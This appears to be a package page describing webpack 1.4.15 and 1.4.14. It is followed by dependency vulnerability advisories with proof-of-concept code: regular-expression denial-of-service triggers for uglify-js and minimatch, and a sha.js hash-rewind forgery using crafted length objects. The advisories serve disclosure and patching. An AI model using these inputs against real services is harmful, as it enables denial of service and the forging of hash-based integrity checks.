Webpack versions 1.4.15 and 1.4.14 are minor releases in the early days of this popular JavaScript module bundler. Both aim to package CommonJs/AMD modules for browsers, enabling developers to split codebases into manageable bundles for on-demand loading, enhancing web application performance. They also provide loader support for various file types like JSON, Jade, CoffeeScript, CSS, and Less, allowing for streamlined preprocessing workflows.
Examining the package.json files reveals a key difference: while the dependencies and devDependencies are identical, the releaseDate and dist.tarball URLs distinguish them. Version 1.4.15 was released on December 28, 2014, while version 1.4.14 was released on December 22, 2014. This suggests that 1.4.15 likely incorporates bug fixes or minor enhancements implemented after version 1.4.14.
For developers considering these versions, it's crucial to note the included loaders, such as css-loader, less-loader, and coffee-loader, reflecting the prevalent technologies of the time. The presence of extract-text-webpack-plugin (in devDependencies) indicates early support for extracting CSS into separate files, boosting initial page load speeds. Although both versions are quite old, understanding their capabilities provides valuable context for appreciating the evolution of modern webpack and module bundling practices. For new projects, focusing on the latest major version is recommended to leverage the most up-to-date features, performance improvements, and community support.
All the vulnerabilities related to the version 1.4.15 of the package
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
Code injection in fsevents
fsevents before 1.2.11 depends on the https://fsevents-binaries.s3-us-west-2.amazonaws.com URL, which might allow an adversary to execute arbitrary code if any JavaScript project (that depends on fsevents) distributes code that was obtained from that URL at a time when it was controlled by an adversary.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
sha.js is missing type checks leading to hash rewind and passing on crafted data
This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js
, as it has its own implementation.
Missing input type checks can allow types other than a well-formed Buffer
or string
, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
See PoC
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
Or just:
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
{length: -x}
. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.{ length: buf.length, ...buf, 0: buf[0] + 256 }
This will result in the same hash as of buf
, but can be treated by other code differently (e.g. bn.js){length:'1e99'}